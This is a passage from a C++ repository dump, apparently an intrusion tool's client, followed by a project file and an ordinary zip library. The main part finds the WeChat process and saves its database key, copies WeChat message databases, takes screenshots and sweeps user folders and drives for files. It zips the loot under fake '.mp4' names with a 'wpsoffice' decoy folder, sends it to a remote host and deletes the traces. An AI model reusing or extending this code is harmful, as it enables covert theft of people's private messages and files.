GetProcessID(_T("WeChat.exe")); 809 | if (procId <= 0) 810 | { 811 | std::cout << "Wechat Process not found" << std::endl; 812 | return 0; 813 | } 814 | std::cout << "[*] Found Wechat Process Pid:" << procId << std::endl; 815 | OpenWechatProc(procId);//请注意:本次更新过webhttp函数 816 | std::cout << "[*] Save DBPass.Bin" << std::endl; 817 | std::cout << "[*] Done." << std::endl; 818 | 819 | 820 | 821 | 822 | } 823 | 824 | if (strcmp(argv[1], "upload") == 0) 825 | 826 | { 827 | char name[20]; 828 | //char *file = randstr(name, 7); 829 | WORD wVersionRequested = MAKEWORD(2, 0); 830 | WSADATA data; 831 | 832 | 833 | char strBuffer[256] = { 0 }; 834 | strcat_s(HostName, "_"); 835 | char fn[30], *p; 836 | 837 | strcpy(fn, (p = strrchr(argv[2], '\\')) ? p + 1 : argv[3]); //获取文件名 838 | //printf("%s\n", fn); 839 | strcat_s(HostName, fn); 840 | //strcat_s(HostName, argv[2]); 841 | strcat_s(HostName, ".mp4"); 842 | printf("%s...\n", HostName); 843 | DWORD zResult = ZR_OK; 844 | HZIP hz = CreateZip(HostName, 0); 845 | 846 | zResult = ZipAdd(hz, fn, argv[2]); 847 | CloseZip(hz); 848 | 849 | if (argv[4]) { 850 | send_file(HostName, argv[3], (u_short)atoi(argv[4])); 851 | 852 | } 853 | 854 | 855 | if (remove(HostName) == 0) 856 | { 857 | cout << "remove SucessFul" << endl; 858 | } 859 | 860 | 861 | 862 | } 863 | 864 | if (strcmp(argv[1], "all") == 0) { 865 | static TCHAR tempzip[MAX_PATH]; 866 | char szLogicalDriveStrings[BUFSIZE]; 867 | DWORD iLength; 868 | int iSub; 869 | 870 | char strTmpPath[MAX_PATH]; 871 | static TCHAR tempdir[MAX_PATH]; 872 | 873 | // 创建临时文件夹 874 | 875 | // char tempdir[MAX_PATH]; 876 | _getcwd(tempdir, MAX_PATH); 877 | lstrcat(tempdir, "\\wpsoffice"); 878 | _mkdir(tempdir); 879 | 880 | 881 | char strBuffer[256] = { 0 }; 882 | //DWORD dwSize = 256; 883 | //GetUserName(strBuffer, &dwSize); 884 | strcat_s(HostName, "_"); 885 | strcat_s(HostName, chIP); 886 | strcat_s(HostName, "_file"); 887 | strcat_s(HostName, ".mp4"); 888 | 889 | 890 | ZeroMemory(szLogicalDriveStrings, BUFSIZE); 891 | iLength = GetLogicalDriveStringsA(BUFSIZE - 1, szLogicalDriveStrings); 892 | for (iSub = 0; iSub < iLength; iSub += 4) 893 | { 894 | for (int i = 0; i < length; i++) 895 | { 896 | if (strcmp(szLogicalDriveStrings + iSub, "C:\\") == 0) { 897 | break; 898 | } 899 | else 900 | { 901 | //printf("%s", szLogicalDriveStrings + iSub); 902 | FindFile((char *)szLogicalDriveStrings + iSub, (char *)"*.*", (char *)filetype[i], tempdir); 903 | } 904 | } 905 | 906 | } 907 | 908 | 909 | strcat_s(tempzip, HostName); 910 | strcat_s(tempzip, "_work_file"); 911 | strcat_s(tempzip, ".mp4"); 912 | printf(tempzip); 913 | DWORD zResult = ZR_OK; 914 | HZIP hz = CreateZip(tempzip, 0); 915 | LPCTSTR lpszSrcPath = tempdir; 916 | zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath)); 917 | CloseZip(hz); 918 | if (argv[3]) { 919 | send_file(tempzip, argv[2], (u_short)atoi(argv[3])); 920 | 921 | } 922 | if (remove(tempzip) == 0) 923 | { 924 | cout << "remove SucessFul" << endl; 925 | } 926 | string ml = ""; 927 | ml = "rmdir /s/q \""; 928 | ml += tempdir; 929 | system(ml.c_str()); 930 | 931 | 932 | 933 | } 934 | 935 | if (strcmp(argv[1], "photo") == 0) 936 | { 937 | char name[20]; 938 | static TCHAR yXFHRONr[MAX_PATH]; 939 | std::string logoStr = "_____________________\r\n" 940 | "\\______ \\__ ___/___ _____ _____\r\n" 941 | "| | _/ | |_/ __ \\\\__ \\ / \\\r\n" 942 | "| \\ | |\\ ___/ / __ \\| Y Y \\\r\n" 943 | "|____| / |____| \\___ >____ /__|_| /\r\n" 944 | "\\/ \\/ \\/ \\/\r\n"; 945 | 946 | 947 | std::cout << logoStr << std::endl; 948 | char *exe = randstr(name, 7); 949 | strcat_s(yXFHRONr, exe); 950 | strcat_s(yXFHRONr, TEXT("_WeiXin.png")); 951 | LPCTSTR imageName = (LPCTSTR)yXFHRONr; 952 | ScreenCapture(imageName); 953 | 954 | printf("Open Current Path %s........\n", imageName); 955 | printf("Start Send........\n"); 956 | 957 | if (argv[3]) { 958 | send_file(imageName, argv[2], (u_short)atoi(argv[3])); 959 | 960 | } 961 | 962 | 963 | if (remove(imageName) == 0) 964 | { 965 | cout << "remove SucessFul" << endl; 966 | } 967 | 968 | 969 | } 970 | 971 | 972 | if (strcmp(argv[1], "uploads") == 0) 973 | { 974 | if (argv[2]) { 975 | 976 | fileNames.push_back(argv[2]); 977 | 978 | 979 | string vx_image = fileNames.front(); 980 | printf(vx_image.c_str()); 981 | 982 | 983 | strcat_s(tempzip, HostName); 984 | strcat_s(tempzip, "_upload_file.zip"); 985 | DWORD zResult = ZR_OK; 986 | HZIP hz = CreateZip(tempzip, 0); 987 | LPCTSTR lpszSrcPath = (LPCTSTR)vx_image.c_str(); 988 | zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath)); 989 | CloseZip(hz); 990 | send_file(tempzip, argv[3], (u_short)atoi(argv[4])); 991 | if (remove(tempzip) == 0) 992 | { 993 | cout << "remove SucessFul" << endl; 994 | } 995 | } 996 | 997 | 998 | } 999 | 1000 | 1001 | 1002 | 1003 | 1004 | if (strcmp(argv[1], "send") == 0) { 1005 | 1006 | 1007 | char source[1000]; 1008 | char target[1000]; 1009 | char target1[1000]; 1010 | char target2[1000]; 1011 | 1012 | char tempdir[MAX_PATH]; 1013 | _getcwd(tempdir, MAX_PATH); 1014 | lstrcat(tempdir, "\\result"); 1015 | _mkdir(tempdir); 1016 | 1017 | 1018 | if (argv[4]) { 1019 | 1020 | fileNames.push_back(argv[4]); 1021 | } 1022 | else 1023 | { 1024 | getPath(value); //获取数据库位置 1025 | 1026 | getFileNames(value, fileNames); 1027 | } 1028 | 1029 | 1030 | 1031 | 1032 | strcat_s(HostName, "_vxdb_"); 1033 | strcat_s(HostName, chIP); 1034 | strcat_s(HostName, ".mp4"); 1035 | 1036 | const char* filetypex[] = { "MSG0.db","MSG1.db" ,"MSG2.db", }; //"\\Msg\\MicroMsg.db" 1037 | char fn[30], *p; 1038 | 1039 | 1040 | printf("Wechat Plugin:%s\n", fileNames.front().c_str()); 1041 | string vxdb = fileNames.front() +"\\Msg\\Multi\\"; 1042 | string MicroMsg = fileNames.front() + "\\Msg\\MicroMsg.db"; 1043 | for (int i = 0; i < 3; i++) 1044 | { 1045 | 1046 | string wxdb = vxdb + (char *)filetypex[i]; 1047 | 1048 | lstrcpy(target, tempdir); 1049 | lstrcat(target, "\\"); 1050 | 1051 | 1052 | 1053 | lstrcat(target, (char *)filetypex[i]); 1054 | if (_access(wxdb.c_str(), 0) == 0) 1055 | { 1056 | printf("%s\n", target); 1057 | } 1058 | 1059 | CopyFile((LPCSTR)wxdb.c_str(), target, TRUE); 1060 | 1061 | //zResult = ZipAdd(hz, filetype[i], wxdb.c_str()); 1062 | //CloseZip(hz); 1063 | //cout << target << endl; 1064 | } 1065 | lstrcpy(target1, tempdir); 1066 | lstrcat(target1, "\\MicroMsg.db"); 1067 | printf("%s\n", target1); 1068 | CopyFile((LPCSTR)MicroMsg.c_str(), target1, TRUE); 1069 | //zResult = ZipAdd(hz, "DBPass.Bin", "DBPass.Bin"); 1070 | strcat_s(tempzip, HostName); 1071 | char buffer[MAX_PATH]; 1072 | _getcwd(buffer, MAX_PATH); 1073 | lstrcat(buffer, "\\DBPass.Bin"); 1074 | lstrcpy(target2, tempdir); 1075 | lstrcat(target2, "\\DBPass.Bin"); 1076 | printf("%s\n", target2); 1077 | CopyFile((LPCSTR)buffer, target2, TRUE); 1078 | DWORD zResult = ZR_OK; 1079 | HZIP hz = CreateZip(tempzip, 0); 1080 | LPCTSTR lpszSrcPath = tempdir; 1081 | zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath)); 1082 | CloseZip(hz); 1083 | printf("Start Send........\n"); 1084 | send_file(tempzip, argv[2], (u_short)atoi(argv[3])); 1085 | if (remove(tempzip) == 0) 1086 | { 1087 | cout << "remove SucessFul" << endl; 1088 | } 1089 | return 0; 1090 | } 1091 | 1092 | if (strcmp(argv[1], "user") == 0) { 1093 | static TCHAR tempzip[MAX_PATH]; 1094 | static TCHAR tempdd[MAX_PATH]; 1095 | _getcwd(tempdd, MAX_PATH); 1096 | lstrcat(tempdd, "\\userfile"); 1097 | _mkdir(tempdd); 1098 | 1099 | //TCHAR path[255]; 1100 | //获取当前用户的桌面路径 1101 | //SHGetSpecialFolderPath(0, path, CSIDL_DESKTOPDIRECTORY, 0); 1102 | 1103 | for (int i = 0; i < length; i++) { 1104 | FindFile((char *)"C:\\Users", (char *)"*.*", (char *)filetype[i], tempdd); 1105 | } 1106 | 1107 | char strBuffer[256] = { 0 }; 1108 | //DWORD dwSize = 256; 1109 | //GetUserName(strBuffer, &dwSize); 1110 | strcat_s(HostName, "_"); 1111 | strcat_s(HostName, chIP); 1112 | strcat_s(HostName, "_userfile"); 1113 | strcat_s(HostName, ".mp4"); 1114 | 1115 | 1116 | strcat_s(tempzip, HostName); 1117 | strcat_s(tempzip, "_work_file"); 1118 | strcat_s(tempzip, ".mp4"); 1119 | printf(tempzip); 1120 | DWORD zResult = ZR_OK; 1121 | HZIP hz = CreateZip(tempzip, 0); 1122 | LPCTSTR lpszSrcPath = tempdd; 1123 | zResult = DirToZip(hz, lpszSrcPath, _tcsclen(lpszSrcPath)); 1124 | CloseZip(hz); 1125 | if (argv[3]) { 1126 | send_file(tempzip, argv[2], (u_short)atoi(argv[3])); 1127 | 1128 | } 1129 | if (remove(tempzip) == 0) 1130 | { 1131 | cout << "remove SucessFul" << endl; 1132 | } 1133 | 1134 | string ml = ""; 1135 | ml = "rmdir /s/q \""; 1136 | ml += tempdd; 1137 | system(ml.c_str()); 1138 | } 1139 | 1140 | } 1141 | 1142 | void getFileNames(string path, vector& files) 1143 | { 1144 | intptr_t hFile = 0; 1145 | //文件信息 1146 | struct _finddata_t fileinfo; 1147 | string p; 1148 | string::size_type idx; 1149 | 1150 | if ((hFile = _findfirst(p.assign(path).append("\\*").c_str(), &fileinfo)) != -1) 1151 | { 1152 | do 1153 | { 1154 | //如果是目录,匹配文件夹 1155 | if ((fileinfo.attrib & _A_SUBDIR)) 1156 | { 1157 | if (strstr(fileinfo.name, "wxid") != NULL) 1158 | files.push_back(p.assign(path).append("\\").append(fileinfo.name)); 1159 | } 1160 | 1161 | } while (_findnext(hFile, &fileinfo) == 0); 1162 | _findclose(hFile); 1163 | } 1164 | } 1165 | -------------------------------------------------------------------------------- /FileUpload/Client/Client.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {7F97B6A1-DA10-43B2-BB56-72C45538CF80} 24 | Win32Proj 25 | ShellcodeRun 26 | 10.0.14393.0 27 | FileSearch 28 | 29 | 30 | 31 | Application 32 | true 33 | v141 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v141 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v141 47 | MultiByte 48 | 49 | 50 | Application 51 | false 52 | v141 53 | true 54 | MultiByte 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | true 76 | 77 | 78 | true 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | false 86 | false 87 | 88 | 89 | 90 | 91 | 92 | Level3 93 | Disabled 94 | true 95 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 96 | true 97 | MultiThreadedDebug 98 | 99 | 100 | Console 101 | true 102 | 103 | 104 | 105 | 106 | 107 | 108 | Level3 109 | Disabled 110 | true 111 | _DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 112 | true 113 | MultiThreadedDebug 114 | false 115 | 116 | 117 | Console 118 | false 119 | 120 | 121 | 122 | 123 | 124 | 125 | Level3 126 | MaxSpeed 127 | true 128 | true 129 | true 130 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 131 | true 132 | MultiThreadedDebug 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | Level3 146 | MaxSpeed 147 | true 148 | true 149 | true 150 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 151 | true 152 | MultiThreadedDebug 153 | 154 | 155 | Console 156 | true 157 | true 158 | false 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | -------------------------------------------------------------------------------- /FileUpload/Client/Client.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /FileUpload/Client/unzip.h: -------------------------------------------------------------------------------- 1 | #ifndef _unzip_H 2 | #define _unzip_H 3 | 4 | // UNZIPPING functions -- for unzipping. 5 | // This file is a repackaged form of extracts from the zlib code available 6 | // at www.gzip.org/zlib, by Jean-Loup Gailly and Mark Adler. The original 7 | // copyright notice may be found in unzip.cpp. The repackaging was done 8 | // by Lucian Wischik to simplify and extend its use in Windows/C++. Also 9 | // encryption and unicode filenames have been added. 10 | 11 | 12 | #ifndef _zip_H 13 | DECLARE_HANDLE(HZIP); 14 | #endif 15 | // An HZIP identifies a zip file that has been opened 16 | 17 | typedef DWORD ZRESULT; 18 | // return codes from any of the zip functions. Listed later. 19 | 20 | typedef struct 21 | { int index; // index of this file within the zip 22 | TCHAR name[MAX_PATH]; // filename within the zip 23 | DWORD attr; // attributes, as in GetFileAttributes. 24 | FILETIME atime,ctime,mtime;// access, create, modify filetimes 25 | long comp_size; // sizes of item, compressed and uncompressed. These 26 | long unc_size; // may be -1 if not yet known (e.g. being streamed in) 27 | } ZIPENTRY; 28 | 29 | 30 | HZIP OpenZip(const TCHAR *fn, const char *password); 31 | HZIP OpenZip(void *z,unsigned int len, const char *password); 32 | HZIP OpenZipHandle(HANDLE h, const char *password); 33 | // OpenZip - opens a zip file and returns a handle with which you can 34 | // subsequently examine its contents. You can open a zip file from: 35 | // from a pipe: OpenZipHandle(hpipe_read,0); 36 | // from a file (by handle): OpenZipHandle(hfile,0); 37 | // from a file (by name): OpenZip("c:\\test.zip","password"); 38 | // from a memory block: OpenZip(bufstart, buflen,0); 39 | // If the file is opened through a pipe, then items may only be 40 | // accessed in increasing order, and an item may only be unzipped once, 41 | // although GetZipItem can be called immediately before and after unzipping 42 | // it. If it's opened in any other way, then full random access is possible. 43 | // Note: pipe input is not yet implemented. 44 | // Note: zip passwords are ascii, not unicode. 45 | // Note: for windows-ce, you cannot close the handle until after CloseZip. 46 | // but for real windows, the zip makes its own copy of your handle, so you 47 | // can close yours anytime. 48 | 49 | ZRESULT GetZipItem(HZIP hz, int index, ZIPENTRY *ze); 50 | // GetZipItem - call this to get information about an item in the zip. 51 | // If index is -1 and the file wasn't opened through a pipe, 52 | // then it returns information about the whole zipfile 53 | // (and in particular ze.index returns the number of index items). 54 | // Note: the item might be a directory (ze.attr & FILE_ATTRIBUTE_DIRECTORY) 55 | // See below for notes on what happens when you unzip such an item. 56 | // Note: if you are opening the zip through a pipe, then random access 57 | // is not possible and GetZipItem(-1) fails and you can't discover the number 58 | // of items except by calling GetZipItem on each one of them in turn, 59 | // starting at 0, until eventually the call fails. Also, in the event that 60 | // you are opening through a pipe and the zip was itself created into a pipe, 61 | // then then comp_size and sometimes unc_size as well may not be known until 62 | // after the item has been unzipped. 63 | 64 | ZRESULT FindZipItem(HZIP hz, const TCHAR *name, bool ic, int *index, ZIPENTRY *ze); 65 | // FindZipItem - finds an item by name. ic means 'insensitive to case'. 66 | // It returns the index of the item, and returns information about it. 67 | // If nothing was found, then index is set to -1 and the function returns 68 | // an error code. 69 | 70 | ZRESULT UnzipItem(HZIP hz, int index, const TCHAR *fn); 71 | ZRESULT UnzipItem(HZIP hz, int index, void *z,unsigned int len); 72 | ZRESULT UnzipItemHandle(HZIP hz, int index, HANDLE h); 73 | // UnzipItem - given an index to an item, unzips it. You can unzip to: 74 | // to a pipe: UnzipItemHandle(hz,i, hpipe_write); 75 | // to a file (by handle): UnzipItemHandle(hz,i, hfile); 76 | // to a file (by name): UnzipItem(hz,i, ze.name); 77 | // to a memory block: UnzipItem(hz,i, buf,buflen); 78 | // In the final case, if the buffer isn't large enough to hold it all, 79 | // then the return code indicates that more is yet to come. If it was 80 | // large enough, and you want to know precisely how big, GetZipItem. 81 | // Note: zip files are normally stored with relative pathnames. If you 82 | // unzip with ZIP_FILENAME a relative pathname then the item gets created 83 | // relative to the current directory - it first ensures that all necessary 84 | // subdirectories have been created. Also, the item may itself be a directory. 85 | // If you unzip a directory with ZIP_FILENAME, then the directory gets created. 86 | // If you unzip it to a handle or a memory block, then nothing gets created 87 | // and it emits 0 bytes. 88 | ZRESULT SetUnzipBaseDir(HZIP hz, const TCHAR *dir); 89 | // if unzipping to a filename, and it's a relative filename, then it will be relative to here. 90 | // (defaults to current-directory). 91 | 92 | 93 | ZRESULT CloseZip(HZIP hz); 94 | // CloseZip - the zip handle must be closed with this function. 95 | 96 | unsigned int FormatZipMessage(ZRESULT code, TCHAR *buf,unsigned int len); 97 | // FormatZipMessage - given an error code, formats it as a string. 98 | // It returns the length of the error message. If buf/len points 99 | // to a real buffer, then it also writes as much as possible into there. 100 | 101 | 102 | // These are the result codes: 103 | #define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned, 104 | #define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage. 105 | // The following come from general system stuff (e.g. files not openable) 106 | #define ZR_GENMASK 0x0000FF00 107 | #define ZR_NODUPH 0x00000100 // couldn't duplicate the handle 108 | #define ZR_NOFILE 0x00000200 // couldn't create/open the file 109 | #define ZR_NOALLOC 0x00000300 // failed to allocate some resource 110 | #define ZR_WRITE 0x00000400 // a general error writing to the file 111 | #define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip 112 | #define ZR_MORE 0x00000600 // there's still more data to be unzipped 113 | #define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile 114 | #define ZR_READ 0x00000800 // a general error reading the file 115 | #define ZR_PASSWORD 0x00001000 // we didn't get the right password to unzip the file 116 | // The following come from mistakes on the part of the caller 117 | #define ZR_CALLERMASK 0x00FF0000 118 | #define ZR_ARGS 0x00010000 // general mistake with the arguments 119 | #define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't 120 | #define ZR_MEMSIZE 0x00030000 // the memory size is too small 121 | #define ZR_FAILED 0x00040000 // the thing was already failed when you called this function 122 | #define ZR_ENDED 0x00050000 // the zip creation has already been closed 123 | #define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken 124 | #define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped 125 | #define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip 126 | // The following come from bugs within the zip library itself 127 | #define ZR_BUGMASK 0xFF000000 128 | #define ZR_NOTINITED 0x01000000 // initialisation didn't work 129 | #define ZR_SEEK 0x02000000 // trying to seek in an unseekable file 130 | #define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed 131 | #define ZR_FLATE 0x05000000 // an internal error in the de/inflation code 132 | 133 | 134 | 135 | 136 | 137 | // e.g. 138 | // 139 | // SetCurrentDirectory("c:\\docs\\stuff"); 140 | // HZIP hz = OpenZip("c:\\stuff.zip",0); 141 | // ZIPENTRY ze; GetZipItem(hz,-1,&ze); int numitems=ze.index; 142 | // for (int i=0; i 2 | #include 3 | #include 4 | #include "zip.h" 5 | #include "unzip.h" 6 | 7 | // THIS FILE is almost entirely based upon code by info-zip. 8 | // It has been modified by Lucian Wischik. The modifications 9 | // were a complete rewrite of the bit of code that generates the 10 | // layout of the zipfile, and support for zipping to/from memory 11 | // or handles or pipes or pagefile or diskfiles, encryption, unicode. 12 | // The original code may be found at http://www.info-zip.org 13 | // The original copyright text follows. 14 | // 15 | // 16 | // 17 | // This is version 1999-Oct-05 of the Info-ZIP copyright and license. 18 | // The definitive version of this document should be available at 19 | // ftp://ftp.cdrom.com/pub/infozip/license.html indefinitely. 20 | // 21 | // Copyright (c) 1990-1999 Info-ZIP. All rights reserved. 22 | // 23 | // For the purposes of this copyright and license, "Info-ZIP" is defined as 24 | // the following set of individuals: 25 | // 26 | // Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois, 27 | // Jean-loup Gailly, Hunter Goatley, Ian Gorman, Chris Herborth, Dirk Haase, 28 | // Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz, David Kirschbaum, 29 | // Johnny Lee, Onno van der Linden, Igor Mandrichenko, Steve P. Miller, 30 | // Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs, Kai Uwe Rommel, 31 | // Steve Salisbury, Dave Smith, Christian Spieler, Antoine Verheijen, 32 | // Paul von Behren, Rich Wales, Mike White 33 | // 34 | // This software is provided "as is," without warranty of any kind, express 35 | // or implied. In no event shall Info-ZIP or its contributors be held liable 36 | // for any direct, indirect, incidental, special or consequential damages 37 | // arising out of the use of or inability to use this software. 38 | // 39 | // Permission is granted to anyone to use this software for any purpose, 40 | // including commercial applications, and to alter it and redistribute it 41 | // freely, subject to the following restrictions: 42 | // 43 | // 1. Redistributions of source code must retain the above copyright notice, 44 | // definition, disclaimer, and this list of conditions. 45 | // 46 | // 2. Redistributions in binary form must reproduce the above copyright 47 | // notice, definition, disclaimer, and this list of conditions in 48 | // documentation and/or other materials provided with the distribution. 49 | // 50 | // 3. Altered versions--including, but not limited to, ports to new operating 51 | // systems, existing ports with new graphical interfaces, and dynamic, 52 | // shared, or static library versions--must be plainly marked as such 53 | // and must not be misrepresented as being the original source. Such 54 | // altered versions also must not be misrepresented as being Info-ZIP 55 | // releases--including, but not limited to, labeling of the altered 56 | // versions with the names "Info-ZIP" (or any variation thereof, including, 57 | // but not limited to, different capitalizations), "Pocket UnZip," "WiZ" 58 | // or "MacZip" without the explicit permission of Info-ZIP. Such altered 59 | // versions are further prohibited from misrepresentative use of the 60 | // Zip-Bugs or Info-ZIP e-mail addresses or of the Info-ZIP URL(s). 61 | // 62 | // 4. Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip," 63 | // "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its own source and 64 | // binary releases. 65 | // 66 | 67 | 68 | typedef unsigned char uch; // unsigned 8-bit value 69 | typedef unsigned short ush; // unsigned 16-bit value 70 | typedef unsigned long ulg; // unsigned 32-bit value 71 | typedef size_t extent; // file size 72 | typedef unsigned Pos; // must be at least 32 bits 73 | typedef unsigned IPos; // A Pos is an index in the character window. Pos is used only for parameter passing 74 | 75 | #ifndef EOF 76 | #define EOF (-1) 77 | #endif 78 | 79 | 80 | // Error return values. The values 0..4 and 12..18 follow the conventions 81 | // of PKZIP. The values 4..10 are all assigned to "insufficient memory" 82 | // by PKZIP, so the codes 5..10 are used here for other purposes. 83 | #define ZE_MISS -1 // used by procname(), zipbare() 84 | #define ZE_OK 0 // success 85 | #define ZE_EOF 2 // unexpected end of zip file 86 | #define ZE_FORM 3 // zip file structure error 87 | #define ZE_MEM 4 // out of memory 88 | #define ZE_LOGIC 5 // internal logic error 89 | #define ZE_BIG 6 // entry too large to split 90 | #define ZE_NOTE 7 // invalid comment format 91 | #define ZE_TEST 8 // zip test (-T) failed or out of memory 92 | #define ZE_ABORT 9 // user interrupt or termination 93 | #define ZE_TEMP 10 // error using a temp file 94 | #define ZE_READ 11 // read or seek error 95 | #define ZE_NONE 12 // nothing to do 96 | #define ZE_NAME 13 // missing or empty zip file 97 | #define ZE_WRITE 14 // error writing to a file 98 | #define ZE_CREAT 15 // couldn't open to write 99 | #define ZE_PARMS 16 // bad command line 100 | #define ZE_OPEN 18 // could not open a specified file to read 101 | #define ZE_MAXERR 18 // the highest error number 102 | 103 | 104 | // internal file attribute 105 | #define UNKNOWN (-1) 106 | #define BINARY 0 107 | #define ASCII 1 108 | 109 | #define BEST -1 // Use best method (deflation or store) 110 | #define STORE 0 // Store method 111 | #define DEFLATE 8 // Deflation method 112 | 113 | #define CRCVAL_INITIAL 0L 114 | 115 | // MSDOS file or directory attributes 116 | #define MSDOS_HIDDEN_ATTR 0x02 117 | #define MSDOS_DIR_ATTR 0x10 118 | 119 | // Lengths of headers after signatures in bytes 120 | #define LOCHEAD 26 121 | #define CENHEAD 42 122 | #define ENDHEAD 18 123 | 124 | // Definitions for extra field handling: 125 | #define EB_HEADSIZE 4 /* length of a extra field block header */ 126 | #define EB_LEN 2 /* offset of data length field in header */ 127 | #define EB_UT_MINLEN 1 /* minimal UT field contains Flags byte */ 128 | #define EB_UT_FLAGS 0 /* byte offset of Flags field */ 129 | #define EB_UT_TIME1 1 /* byte offset of 1st time value */ 130 | #define EB_UT_FL_MTIME (1 << 0) /* mtime present */ 131 | #define EB_UT_FL_ATIME (1 << 1) /* atime present */ 132 | #define EB_UT_FL_CTIME (1 << 2) /* ctime present */ 133 | #define EB_UT_LEN(n) (EB_UT_MINLEN + 4 * (n)) 134 | #define EB_L_UT_SIZE (EB_HEADSIZE + EB_UT_LEN(3)) 135 | #define EB_C_UT_SIZE (EB_HEADSIZE + EB_UT_LEN(1)) 136 | 137 | 138 | // Macros for writing machine integers to little-endian format 139 | #define PUTSH(a,f) {char _putsh_c=(char)((a)&0xff); wfunc(param,&_putsh_c,1); _putsh_c=(char)((a)>>8); wfunc(param,&_putsh_c,1);} 140 | #define PUTLG(a,f) {PUTSH((a) & 0xffff,(f)) PUTSH((a) >> 16,(f))} 141 | 142 | 143 | // -- Structure of a ZIP file -- 144 | // Signatures for zip file information headers 145 | #define LOCSIG 0x04034b50L 146 | #define CENSIG 0x02014b50L 147 | #define ENDSIG 0x06054b50L 148 | #define EXTLOCSIG 0x08074b50L 149 | 150 | 151 | #define MIN_MATCH 3 152 | #define MAX_MATCH 258 153 | // The minimum and maximum match lengths 154 | 155 | 156 | #define WSIZE (0x8000) 157 | // Maximum window size = 32K. If you are really short of memory, compile 158 | // with a smaller WSIZE but this reduces the compression ratio for files 159 | // of size > WSIZE. WSIZE must be a power of two in the current implementation. 160 | // 161 | 162 | #define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) 163 | // Minimum amount of lookahead, except at the end of the input file. 164 | // See deflate.c for comments about the MIN_MATCH+1. 165 | // 166 | 167 | #define MAX_DIST (WSIZE-MIN_LOOKAHEAD) 168 | // In order to simplify the code, particularly on 16 bit machines, match 169 | // distances are limited to MAX_DIST instead of WSIZE. 170 | // 171 | 172 | 173 | #define ZIP_HANDLE 1 174 | #define ZIP_FILENAME 2 175 | #define ZIP_MEMORY 3 176 | #define ZIP_FOLDER 4 177 | 178 | 179 | 180 | // =========================================================================== 181 | // Constants 182 | // 183 | 184 | #define MAX_BITS 15 185 | // All codes must not exceed MAX_BITS bits 186 | 187 | #define MAX_BL_BITS 7 188 | // Bit length codes must not exceed MAX_BL_BITS bits 189 | 190 | #define LENGTH_CODES 29 191 | // number of length codes, not counting the special END_BLOCK code 192 | 193 | #define LITERALS 256 194 | // number of literal bytes 0..255 195 | 196 | #define END_BLOCK 256 197 | // end of block literal code 198 | 199 | #define L_CODES (LITERALS+1+LENGTH_CODES) 200 | // number of Literal or Length codes, including the END_BLOCK code 201 | 202 | #define D_CODES 30 203 | // number of distance codes 204 | 205 | #define BL_CODES 19 206 | // number of codes used to transfer the bit lengths 207 | 208 | 209 | #define STORED_BLOCK 0 210 | #define STATIC_TREES 1 211 | #define DYN_TREES 2 212 | // The three kinds of block type 213 | 214 | #define LIT_BUFSIZE 0x8000 215 | #define DIST_BUFSIZE LIT_BUFSIZE 216 | // Sizes of match buffers for literals/lengths and distances. There are 217 | // 4 reasons for limiting LIT_BUFSIZE to 64K: 218 | // - frequencies can be kept in 16 bit counters 219 | // - if compression is not successful for the first block, all input data is 220 | // still in the window so we can still emit a stored block even when input 221 | // comes from standard input. (This can also be done for all blocks if 222 | // LIT_BUFSIZE is not greater than 32K.) 223 | // - if compression is not successful for a file smaller than 64K, we can 224 | // even emit a stored file instead of a stored block (saving 5 bytes). 225 | // - creating new Huffman trees less frequently may not provide fast 226 | // adaptation to changes in the input data statistics. (Take for 227 | // example a binary file with poorly compressible code followed by 228 | // a highly compressible string table.) Smaller buffer sizes give 229 | // fast adaptation but have of course the overhead of transmitting trees 230 | // more frequently. 231 | // - I can't count above 4 232 | // The current code is general and allows DIST_BUFSIZE < LIT_BUFSIZE (to save 233 | // memory at the expense of compression). Some optimizations would be possible 234 | // if we rely on DIST_BUFSIZE == LIT_BUFSIZE. 235 | // 236 | 237 | #define REP_3_6 16 238 | // repeat previous bit length 3-6 times (2 bits of repeat count) 239 | 240 | #define REPZ_3_10 17 241 | // repeat a zero length 3-10 times (3 bits of repeat count) 242 | 243 | #define REPZ_11_138 18 244 | // repeat a zero length 11-138 times (7 bits of repeat count) 245 | 246 | #define HEAP_SIZE (2*L_CODES+1) 247 | // maximum heap size 248 | 249 | 250 | // =========================================================================== 251 | // Local data used by the "bit string" routines. 252 | // 253 | 254 | #define Buf_size (8 * 2*sizeof(char)) 255 